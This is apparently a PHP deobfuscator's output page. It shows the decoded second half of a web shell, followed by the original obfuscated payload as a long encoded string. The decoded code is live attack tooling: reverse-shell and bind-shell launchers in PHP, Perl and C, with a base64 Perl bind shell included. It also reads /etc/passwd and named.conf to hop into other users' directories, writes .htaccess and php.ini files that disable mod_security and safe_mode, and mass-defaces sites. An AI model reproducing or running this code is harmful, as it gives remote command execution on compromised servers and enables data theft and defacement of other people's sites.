    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    
    echo \'<center><h1>Network tools</h1></center><div class=content><center>
	<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br/><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="\'.$_SERVER[\'REMOTE_ADDR\'].\'"> Port: <input type=\'text\' name=\'port\' value=\'443\' size=\'5\'> Using: <select name="using"><option value=\'php\'>PHP</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select> <input type=submit value=">>">
    </form><br>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br/><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\' size=\'5\'> <input type=\'text\' hidden=\'\' value=\'\' name=\'pass\' value=\'\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <br>\';    
    if(isset($_POST[\'p1\'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
            if($w)    {
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST[\'p1\'] == \'bpc\') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST[\'p1\'] == \'bpp\') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcc\') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcp\') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
        }
		if($_POST[\'p1\'] == \'php\') {
        $ip = $_POST[\'p2\'];
        $port = $_POST[\'p3\'];
        $sockfd = fsockopen($ip, $port, $errno, $errstr);
        if ($errno != 0) {
            echo "<font color=\'red\'>$errno : $errstr</font>";
        } else if (!$sockfd) {
            $result = "<p>Unexpected error has occured, connection may have failed.</p>";
        } else {
            fputs($sockfd, "
			{################################################################}
                
..:: BackConnect Php By Anonymous ::..
                
{################################################################}
");
            $dir = shell_exec("pwd");
            $sysinfo = shell_exec("uname -a");
            $time = Shell_exec("time");
            $len = 1337;
            fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "

");
            while (!feof($sockfd)) {
                $cmdPrompt = \'[Anonymous]#:> \';
                fputs($sockfd, $cmdPrompt);
                $command = fgets($sockfd, $len);
                fputs($sockfd, "
" . shell_exec($command) . "

");
            }
            fclose($sockfd);
        }
    }
    echo "</p>";
}
    echo \'</div></center>\';
    printFooter();
}
function actionReadable() {
    printHeader();
    echo \'<center><h1>Readable Dirs</h1></center>\';
    echo \'<div class="content"><center>\';
    $sm = ini_get(\'safe_mode\');
    if($sm) {
        echo \'<br /><b>Error: safe_mode = on</b><br /><br />\';
    } else {
        @$passwd = file(\'/etc/passwd\',\'r\');
        if (!$passwd) { 
            echo \'<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />\'; 
        } else {
            $pub = array();
            $users = array();
            $conf = array();
            $i = 0;
            foreach($passwd as $p) {
                $r = explode(\':\',$p);
                $dirz = $r[5].\'/public_html/\';
                if(strpos($r[5],\'home\')) {
                    array_push($users,$r[0]);
                    if (is_readable($dirz)) {
                        array_push($pub,$dirz);
                    }
                }
            }
            echo \'<br><br>\';
            echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
            echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
            foreach ($pub as $user) {
                echo $user."<br>";
            }
            echo "<br /><br /><br />[+] Complete...
"."<br />";
        }
    }
    echo \'</div></center>\';
    printFooter();    
}
function actionBypass() {
    printHeader();
    echo \'<center><h1>Bypass</h1></center>\';
    echo \'<div class="content">\';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED BYPASS |</span></h3>| ".$GLOBALS[\'cwd\']." |<br />";
    echo \'<a href=# onclick="g(null,null,\'php.ini\',null)"><br>[ PHP.INI ] </a><a href=# onclick="g(null,null,null,\'ini\')">[ .htaccess(Mod) ] </a>\';
    if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
    {
        $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
        fwrite($fil,\'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>\');
        fclose($fil);
   }
   if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
   {
        $fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
        fwrite($fil,\'safe_mode = Off
        disable_functions=none\');
        fclose($fil);
    }
    echo "<br><br /><br /></div>";
    echo \'</div>\';
    printFooter();
   
}

function actionAdminer() {
    printHeader();
    echo \'<center><h1>Adminer</h1></center>\';
    echo \'<div class="content">\';
    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);
	function adminer($url, $isi) {
		$fp = fopen($isi, "w");
		$ch = curl_init();
		 	  curl_setopt($ch, CURLOPT_URL, $url);
		 	  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		   	  curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		   	  curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	}
	if(file_exists(\'adminer.php\')) {
		echo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br><br></font></center>";
	} else {
		if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
			echo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br></font></center>";
		} else {
			echo "<center><font color=red>Failed to create Adminer file</font></center>";
		}
	}
    echo \'</div>\';
    printFooter();
   
}


function actionJumping() {
    printHeader();
    echo \'<center><h1>Jumping :D</h1></center>\';
    echo \'<div class="content"><center>\';
	
    	$i = 0;

echo "<pre><div class=\'margin: 5px auto;\'>";
$etc = fopen("/etc/passwd", "r") or die("<font color=white>Can\'t read /etc/passwd</font>");
while ($passwd = fgets($etc)) {
    if ($passwd == \'\' || !$etc) {
        echo "<font color=white>Can\'t read /etc/passwd</font>";
    } else {
        preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);
        foreach ($user_jumping[1] as $user_Anonymous_jump) {
            $user_jumping_dir = "/home/$user_Anonymous_jump/public_html";
            if (is_readable($user_jumping_dir)) {
                $i++;
                $jrw = "[<font color=white>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=white>$user_jumping_dir</font></a>";
                if (is_writable($user_jumping_dir)) {
                    $jrw = "[<font color=white>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=white>$user_jumping_dir</font></a>";
                }
                echo $jrw;
                if (function_exists(\'posix_getpwuid\')) {
                    $domain_jump = file_get_contents("/etc/named.conf");
                    if ($domain_jump == \'\') {
                        echo " => ( <font color=white>I can\'t take the domain name</font> )<br>";
                    } else {
                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                        foreach ($domains_jump[1] as $dj) {
                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                            $user_jumping_url = $user_jumping_url[\'name\'];
                            if ($user_jumping_url == $user_Anonymous_jump) {
                                echo " => ( <u>$dj</u> )<br>";
                                break;
                            }
                        }
                    }
                } else {
                    echo "<br>";
                }
            }
        }
    }
}
if ($i == 0) {
} else {
    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER[\'HTTP_HOST\']) . "";
}
echo "</div></pre>";
	

	echo \'</div></center>\';
    printFooter();
   
}
function actionmailtest() {
	if (!function_exists(\'posix_getegid\')) {
        $user = @get_current_user();
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $user = $uid[\'name\'];
    }
    $from = "From: Result Doc<[email protected]>";
    printHeader();
	
	echo\'<center><h1>Mail Test</h1></center><div class="content"><center><br> 
	
	<table><form name=em onSubmit="g(null,null,\'ems\',this.mailto.value,this.usere.value);return false;"><tr><td><span>Send to</span></td>\' . "<td><input type=text name=mailto value=><input type=hidden name=usere value=$user></td></tr>" . \'<tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
    if (isset($_POST[\'p1\'])) {
        if ($_POST[\'p1\'] == \'ems\') {
            $from_add = $_POST[\'p3\'] . "@" . php_uname(\'n\');
            $to_add = $_POST[\'p2\'];
            $subject = "Mail Test";
            $message = "Test Message : " . $_SERVER["SERVER_NAME"] . $_SERVER["SCRIPT_NAME"];;
            $headers = "From: Mail Test<$from_add> 
";
            $headers.= "Reply-To: $from_add 
";
            $headers.= "Return-Path: $from_add
";
            $headers.= "X-Mailer: PHP 
";
            if (mail($to_add, $subject, $message, $headers)) {
                echo "Mail sent to $_POST[p2]";
            } else {
                echo "Error sending email!";
            }
        }
    }
    echo \'</div><br></center>\';
    printFooter();
   
}


function actionSelfRemove() {
	if($_POST[\'p1\'] == \'yes\')
		if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
    if($_POST[\'p1\'] != \'yes\')
    printHeader();
	
	echo \'<center><h1>Suicide</h1></center><div class=content><center><br>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a><br></center></div>\';
    printFooter();
   
}





function actionDeface() {
printHeader();
echo "<center><h1>Mass Defacer</h1></center><div class=content><center>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER[\'PHP_SELF\']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">

<p align="center">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here"> 
<br><input type=submit value="Deface now"></p></form>

<?php
if ($_POST[\'a\'] == \'Deface\') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "Mass Defacer script";
$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "$row/$file > Done<br><br>";
}
}
}
echo \'</div></center>\';
printFooter();
}
 function actionDomain() {
    printHeader();

echo \'<center><h1>Local Domains</h1></center><div class=content>\';                                      
$file = @implode(@file("/etc/named.conf"));                                                                  
$Domain_path = "/var/named";

if (!$file) {
$domains = scandir($Domain_path);
$count=1;
$dc = 0;
echo "<table align=center border=1 width=40% cellpadding=5>
<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can\'t read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as &$domain) {
    if (stripos($domain,".db")) {
    $domain = str_replace(\'.db\',\'\',$domain);

    }
    if (strlen($domain) > 6) {
	echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>User</td></tr>";   }
   } 
 echo "</table>";
}else{
        $count = 1;
        preg_match_all("#named/(.*?).db#", $file, $r);
        $domains = array_unique($r[1]);
    echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2> There are  ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
        foreach ($domains as $domain) {

        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
        echo "<tr><td>".$count++."</td><td><a href=\'http://".$domain."\' target=\'_blank\'>".$domain."</a></td><td>".$user[\'name\']."</td></tr>";
     }
}  
    printFooter();
     }

if( empty($_POST[\'a\']) )
    if(isset($default_action) && function_exists(\'action\' . $default_action))
        $_POST[\'a\'] = $default_action;
    else
        $_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
    call_user_func(\'action\' . $_POST[\'a\'])

?>'

Did this file decode correctly?

Original Code

<?php
$str = "==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